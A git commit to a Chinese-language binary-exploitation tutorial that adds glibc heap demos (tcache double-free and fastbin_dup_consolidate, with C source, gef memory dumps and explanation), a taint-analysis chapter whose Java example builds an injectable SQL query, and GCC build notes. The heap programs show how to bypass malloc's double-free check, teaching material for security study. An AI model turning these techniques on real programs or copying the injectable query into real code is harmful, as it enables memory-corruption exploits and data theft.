update 3.3.6

This commit is contained in:
firmianay 2018-04-05 14:53:06 +08:00
parent c6cebca6dd
commit 497f67c428
7 changed files with 364 additions and 1 deletions

View File

@ -5,6 +5,7 @@
- [first_fit](#first_fit) - [first_fit](#first_fit)
- [fastbin_dup](#fastbin_dup) - [fastbin_dup](#fastbin_dup)
- [fastbin_dup_into_stack](#fastbin_dup_into_stack) - [fastbin_dup_into_stack](#fastbin_dup_into_stack)
- [fastbin_dup_consolidate](#fastbin_dup_consolidate)
- [unsafe_unlink](#unsafe_unlink) - [unsafe_unlink](#unsafe_unlink)
- [house_of_spirit](#house_of_spirit) - [house_of_spirit](#house_of_spirit)
- [参考资料](#参考资料) - [参考资料](#参考资料)
@ -317,6 +318,65 @@ previously allocated by thread T0 here:
``` ```
一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。 一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
看一点新鲜的,在 libc-2.26 中,即使两次 free也并没有触发 double-free 的异常检测,这与 tcache 机制有关,以后会详细讲述。这里先看个能够在该版本下触发 double-free 的例子:
```c
#include <stdio.h>
#include <stdlib.h>
int main() {
int i;
void *p = malloc(0x40);
fprintf(stderr, "First allocate a fastbin: p=%p\n", p);
fprintf(stderr, "Then free(p) 7 times\n");
for (i = 0; i < 7; i++) {
fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p);
free(p);
}
fprintf(stderr, "Then malloc 8 times at the same address\n");
int *a[10];
for (i = 0; i < 8; i++) {
a[i] = malloc(0x40);
fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]);
}
fprintf(stderr, "Finally trigger double-free\n");
for (i = 0; i < 2; i++) {
fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]);
free(a[i]);
}
}
```
```
$ gcc -g tcache_double-free.c
$ ./a.out
First allocate a fastbin: p=0x559e30950260
Then free(p) 7 times
free 1: 0x7ffc498b2958 => 0x559e30950260
free 2: 0x7ffc498b2958 => 0x559e30950260
free 3: 0x7ffc498b2958 => 0x559e30950260
free 4: 0x7ffc498b2958 => 0x559e30950260
free 5: 0x7ffc498b2958 => 0x559e30950260
free 6: 0x7ffc498b2958 => 0x559e30950260
free 7: 0x7ffc498b2958 => 0x559e30950260
Then malloc 8 times at the same address
malloc 1: 0x7ffc498b2960 => 0x559e30950260
malloc 2: 0x7ffc498b2968 => 0x559e30950260
malloc 3: 0x7ffc498b2970 => 0x559e30950260
malloc 4: 0x7ffc498b2978 => 0x559e30950260
malloc 5: 0x7ffc498b2980 => 0x559e30950260
malloc 6: 0x7ffc498b2988 => 0x559e30950260
malloc 7: 0x7ffc498b2990 => 0x559e30950260
malloc 8: 0x7ffc498b2998 => 0x559e30950260
Finally trigger double-free
free 1: 0x7ffc498b2960 => 0x559e30950260
free 2: 0x7ffc498b2968 => 0x559e30950260
double free or corruption (fasttop)
[2] 1244 abort (core dumped) ./a.out
```
#### fastbin_dup_into_stack #### fastbin_dup_into_stack
```c ```c
#include <stdio.h> #include <stdio.h>
@ -473,6 +533,178 @@ gef➤ x/5gx 0x7fffffffdc38-0x8
所以对于 fastbins可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。 所以对于 fastbins可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。
#### fastbin_dup_consolidate
```c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
int main() {
void *p1 = malloc(0x10);
void *p2 = malloc(0x10);
strcpy(p1, "AAAAAAAA");
strcpy(p2, "BBBBBBBB");
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void *p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
void *p4 = malloc(0x10);
strcpy(p4, "CCCCCCC");
void *p5 = malloc(0x10);
strcpy(p5, "DDDDDDDD");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
}
```
```
$ gcc -g fastbin_dup_consolidate.c
$ ./a.out
Allocated two fastbins: p1=0x17c4010 p2=0x17c4030
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x17c4050
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x17c4010 0x17c4010
```
这个程序展示了利用在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查,这个检查在 fastbin_dup 中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它 chunk 的 free。
首先分配两个 fast chunk
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000
```
释放掉 p1则空闲 chunk 加入到 fastbins 中:
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed]
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
```
此时如果我们再次释放 p1必然触发 double free 异常,然而,如果此时分配一个 large chunk效果如下
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed]
0x602010: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer
0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] 0x00
gef➤ heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[1]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.
```
可以看到 fastbins 中的 chunk 已经不见了,反而出现在了 small bins 中,并且 chunk p2 的 prev_size 和 size 字段都被修改。
看一下 large chunk 的分配过程:
```c
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
```
当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index接着判断当前分配区的 fast bins 中是否包含 chunk如果有调用 malloc_consolidate() 函数合并 fast bins 中的 chunk并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。
由于此时 p1 已经不在 fastbins 的顶部,可以再次释放 p1
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [double freed]
0x602010: 0x0000000000000000 0x00007ffff7dd1b88
0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
gef➤ heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[1]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.
```
p1 被再次放入 fastbins于是 p1 同时存在于 fabins 和 small bins 中。
第一次 mallocchunk 将从 fastbins 中取出:
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed], chunk p4
0x602010: 0x0043434343434343 0x00007ffff7dd1b88
0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] 0x00
gef➤ heap bins small
[ Small Bins for arena 'main_arena' ]
[+] small_bins[1]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.
```
第二次 mallocchunk 从 small bins 中取出:
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p4, chunk p5
0x602010: 0x4444444444444444 0x00007ffff7dd1b00
0x602020: 0x0000000000000020 0x0000000000000021 <-- chunk p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000
```
chunk p4 和 p5 在同一位置。
#### unsafe_unlink #### unsafe_unlink
```c ```c
#include <stdio.h> #include <stdio.h>

View File

@ -1,11 +1,21 @@
# 4.3 GCC 编译参数解析 # 4.3 GCC 编译参数解析
- [GCC](#gcc)
- [常用选择](#常用选项) - [常用选择](#常用选项)
- [Address sanitizer](#address-sanitizer) - [Address sanitizer](#address-sanitizer)
- [mcheck](#mcheck) - [mcheck](#mcheck)
- [参考资料](#参考资料) - [参考资料](#参考资料)
## GCC
```
$ wget -c http://www.mirrorservice.org/sites/sourceware.org/pub/gcc/releases/gcc-4.4.0/gcc-4.4.0.tar.bz2
$ tar -xjvf gcc-4.4.0.tar.bz2
$ ./configure
$ make && sudo make install
```
## 常用选项 ## 常用选项
#### 控制标准版本的编译选项 #### 控制标准版本的编译选项
- `-ansi`:告诉编译器遵守 C 语言的 ISO C90 标准。 - `-ansi`:告诉编译器遵守 C 语言的 ISO C90 标准。

View File

@ -1 +1,65 @@
# 5.5 污点分析 # 5.5 污点分析
- [基本原理](#基本原理)
- [方法实现](#方法实现)
- [实例分析](#实例分析)
## 基本原理
污点分析是一种跟踪并分析污点信息在程序中流动的技术。在漏洞分析中,使用污点分析技术将所感兴趣的数据(通常来自程序的外部输入)标记为污点数据,然后通过跟踪和污点数据相关的信息的流向,可以知道它们是否会影响某些关键的程序操作,进而挖掘程序漏洞。即将程序是否存在某种漏洞的问题转化为污点信息是否会被 Sink 点上的操作所使用的问题。
污点分析常常包括以下几个部分:
- 识别污点信息在程序中的产生点Source点并对污点信息进行标记
- 利用特定的规则跟踪分析污点信息在程序中的传播过程
- 在一些关键的程序点Sink点检测关键的操作是否会受到污点信息的影响
举个例子:
```
[...]
scanf("%d", &x); // Source 点,输入数据被标记为污点信息,并且认为变量 x 是污染的
[...]
y = x + k; // 如果二元操作的操作数是污染的,那么操作结果也是污染的,所以变量 y 也是污染的
[...]
x = 0; // 如果一个被污染的变量被赋值为一个常数,那么认为它是未污染的,所以 x 转变成未污染的
[...]
while (i < y) // Sink 如果规定循环的次数不能受程序输入的影响那么需要检查 y 是否被污染
```
然而污点信息不仅可以通过数据依赖传播,还可以通过控制依赖传播。我们将通过数据依赖传播的信息流称为显式信息流,将通过控制依赖传播的信息流称为隐式信息流。
举个例子:
```c
if (x > 0)
y = 1;
else
y = 0;
```
变量 y 的取值依赖于变量 x 的取值,如果变量 x 是污染的,那么变量 y 也应该是污染的。
通常我们将使用污点分析可以检测的程序漏洞称为污点类型的漏洞,例如 SQL 注入漏洞:
```java
String user = getUser();
String pass = getPass();
String sqlQuery = "select * from login where user='" + user + "' and pass='" + pass + "'";
Statement stam = con.createStatement();
ResultSetrs = stam.executeQuery(sqlQuery);
if (rs.next())
success = true;
```
在进行污点分析时,将变量 user 和 pass 标记为污染的,由于变量 sqlQuery 的值受到 user 和 pass 的影响,所以将 sqlQuery 也标记为污染的。程序将变量 sqlQuery 作为参数构造 SQL 操作语句,于是可以判定程序存在 SQL 注入漏洞。
使用污点分析检测程序漏洞的工作原理如下图所示:
![](../pic/5.5_overview.png)
- 基于数据流的污点分析。在不考虑隐式信息流的情况下,可以将污点分析看做针对污点数据的数据流分析。根据污点传播规则跟踪污点信息或者标记路径上的变量污染情况,进而检查污点信息是否影响敏感操作。
- 基于依赖关系的污点分析。考虑隐式信息流,在分析过程中,根据程序中的语句或者指令之间的依赖关系,检查 Sink 点处敏感操作是否依赖于 Source 点处接收污点信息的操作。
## 方法实现
#### 基于数据流的污点分析
#### 基于依赖关系的污点分析
## 实例分析

BIN
pic/5.5_overview.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 KiB

View File

@ -1,4 +1,4 @@
PROGRAMS = fastbin_dup fastbin_dup_into_stack unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange
CFLAGS += -std=c99 -g CFLAGS += -std=c99 -g
# CFLAGS += -fsanitize=address # CFLAGS += -fsanitize=address

View File

@ -0,0 +1,29 @@
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
int main() {
void *p1 = malloc(0x10);
void *p2 = malloc(0x10);
strcpy(p1, "AAAAAAAA");
strcpy(p2, "BBBBBBBB");
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void *p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
void *p4 = malloc(0x10);
strcpy(p4, "CCCCCCC");
void *p5 = malloc(0x10);
strcpy(p5, "DDDDDDDD");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5);
}

View File

@ -0,0 +1,28 @@
#include <stdio.h>
#include <stdlib.h>
int main() {
int i;
void *p = malloc(0x40);
fprintf(stderr, "First allocate a fastbin: p=%p\n", p);
fprintf(stderr, "Then free(p) 7 times\n");
for (i = 0; i < 7; i++) {
fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p);
free(p);
}
fprintf(stderr, "Then malloc 8 times at the same address\n");
int *a[10];
for (i = 0; i < 8; i++) {
a[i] = malloc(0x40);
fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]);
}
fprintf(stderr, "Finally trigger double-free\n");
for (i = 0; i < 2; i++) {
fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]);
free(a[i]);
}
}